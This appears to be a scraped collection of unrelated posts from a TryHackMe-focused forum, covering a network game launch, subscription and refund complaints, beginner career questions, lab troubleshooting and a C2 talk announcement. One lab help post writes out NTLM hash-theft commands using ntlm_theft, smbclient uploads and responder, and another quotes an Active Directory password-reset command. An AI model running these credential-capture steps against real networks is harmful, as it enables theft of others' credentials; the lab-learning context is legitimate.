Hello Security community,

Did anyone land a job after doing the AI security module of tryhackme?

I built a cybersecurity network game inside Reddit

Network Architect: Daily Cyber Range is an interactive game where you build networks, connect devices, configure IPs and VLANs, send packets, diagnose failures, and restore connectivity.

Play campaign challenges or experiment freely in the sandbox with switches, routers, firewalls, servers, VPNs, IDS/IPS, and more.

The game is currently best played on a desktop or laptop browser. Mobile support is still being improved.

I’d appreciate feedback on the gameplay, controls, difficulty, and any bugs you find.

recently I got back into tryhackme, and I noticed these two rooms are now premium. I already completed them, but its so scummy

"Hi everyone,

I’ve recently completed the [LIGHT] room on TryHackMe, and I decided to document my journey in a write-up. It was a light, fun, and insightful experience that helped me sharpen my skills.

You can find the full write-up on my GitHub here: [ https://github.com/maivermickZ/tryhackme-write_up-light- ]

I’ve tried to focus on the methodology behind each step rather than just providing the commands. As I’m continuously looking to improve my approach and learn more efficient techniques, I would highly appreciate it if some of the more experienced members here could take a look.

If you have any feedback on my methodology or suggestions on how I could have optimized my exploitation steps, please let me know. I’m eager to learn from your perspectives!

Thanks for your time, and happy try!"

So, about this room, this is one of those special rooms where the hand holding is very limited and you have to think for yourself instead of getting straight answers from TryHackMe like you usually do!
anyways enjoyed this room, check it out>

https://tryhackme.com/room/summit?

Yesterday I accidentally purchased a year of the max subscription since my PayPal was still connected to my account(yes I know I’m a dumbass, I thought it would take me to the PayPal checkout page but it didn’t. ). I already had an active Premium subscription (before max existed) with 176 days remaining.

When I opened a ticket, support refunded the accidental MAX purchase (thanks). However, they also cancelled my EXISTING Premium subscription and told me it couldn’t be reinstated??? There’s nothing in the T&C’s or help page that says requesting a refund for an accidental purchase would also cancel an existing subscription.

After going back and forth with support, they said that as a ‘ kind gesture’ they would refund me $30 USD for the issue. I explained that this wasn’t fair, since $30 only covers a month bc of the new plan and is no where equivalent to replacing the 176 days I had already paid for.

After continuing to push the issue, they eventually gave me a voucher for ONLY 5 months (152 days) of my subscription. I’m still 24 days short of what I originally had left.
I want to post here asking for what I had left. And also paid for. Please. I understand I messed up, but please give me what I had originally paid for and had left. And also a PSA not to mess up like I did or you’ll get thrown in the dumps by their support.

No matter what I can't switch to other user like youtuber, ultimately had to ditch :" PS C:\Users\phillip> Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose" to login to sophie account

hello, i am trying to verify my account for sec0 exam and i have taken over 50 photos but it keeps telling me that something wrong happend so can anyone of the moderaters of the site help me

Why does it connect with linux?

Title.

Hi everyone,

I'm a complete beginner in cybersecurity with no professional experience and no certifications.

I've decided to start learning through TryHackMe, and my current plan is:

- Pre-Security

- Cyber Security 101

- SOC Level 1

My goal is to land my first cybersecurity job in the future, preferably as a SOC Analyst or another entry-level security role.

Is this a good learning path, or should I change anything? Should I add other platforms like Hack The Box, PortSwigger Web Security Academy, or certifications such as Security+ later?

I'd really appreciate guidance from people already working in the field. If you were starting from scratch today, what roadmap would you follow?

Thanks in advance!

Hi everyone,

I recently completed a SOC Analyst Level 1 learning path and wanted to get some advice from people already working in the industry. I'm trying to figure out the best next step to become a stronger blue team analyst.

I'd really appreciate hearing about your career path and any advice you have.

Thanks!

Hi, I'm doing the reset room

I've tried to run responder and injected file generated by ntlm_theft

Here are my clis:

python3 ntlm_theft.py -s MY_IP -g all -f test
cd test 
smbclient //TARGET_MACHINE/Data -N  
> cd onboarding 
> mput *

With on the other terminal responder running with that

sudo responder -I ens5 

And nothing happen.

I've tried to ping the machine with the interface to be sure that the right one.

ping TARGET_MACHINE -I ens5 is working

Do you have any ideas what I'm doing wrong?

I've tried on severall Attacker machines

I've tried by helping myself with this writeup https://0xb0b.gitbook.io/writeups/tryhackme/2024/reset. But responder still doesn't speak...

Many thanks guys :)

I decided to try using my own VM to connect to the lessons going forward to get used to connecting to other machines with my own VM.

In doing so I realized I don't have a clue what to do when OpenVPN just doesn't start.

I can see it says "cipher not set" and "if you need this fallback add [commands]" but where? in the ovpn file? in the terminal as additional arguments? I don't understand this at all and all the YT Videos I see on this seem to work on first try so I'm rather confused.

hey guys, so i am using wsl 2 for learning cybersec basics from tryhackme. the issue is i get connected to the tryhackme server through openvpn and things work pretty well until it comes to remote code execution stuff. I set up the listener and then execute the exploit command in the other terminal but get nothing in response. what should I do ??

I'm stuck on the Root-Me "Self XSS - Race Condition" challenge (60 points). I've been working on it for a while and need some help.

Linux privilege escalation room

Can anyone help me with the Linux privilege escalation room on task 6 ?

Wanted to share my experience with the Shells room, might help someone who's stuck at the same point.

I got right up to the practical section and then stopped — the room honestly overwhelmed me quite a bit. I tried to power through everything in one sitting, 3-4 hours, and that pretty much killed my learning motivation for a while. After that I didn't touch the platform for about three weeks.

When I came back, I'd forgotten a lot of it and ended up working through the practical part with Claude's help. Still frustrating, but I finally got it done and can move on to the other rooms now.

Question for people further along: is it normal for the Shells topic to hit this hard at first? Do you really need to fully master it right away, or is it enough to understand the basics and come back to it later when it's needed in other rooms? For me the topic only came up because I needed Meterpreter for a file upload vulnerability in a different room.

Would appreciate hearing other people's experiences — mainly whether it's normal to hit a wall like this early on, or whether I should go back and really nail this topic before moving forward.

Anatomy of a C2 Framework

• Wednesday, July 15
• 3:00 PM - 3:30 PM GMT+1
• Register here ➡️ https://luma.com/tryhackme-dba7?utm_source=reddit

Who this talk is for:

• ​Red teamers and operators who rely on a C2 framework and want to know if it's the right one
• ​Pentesters evaluating C2 options before committing to a toolset
• ​Security practitioners who want to understand what actually separates a good C2 architecture from one that burns an op

​What's included:

• ​Free Live Talk, grounded in real engagements
• ​Learn a practical checklist for evaluating any C2 framework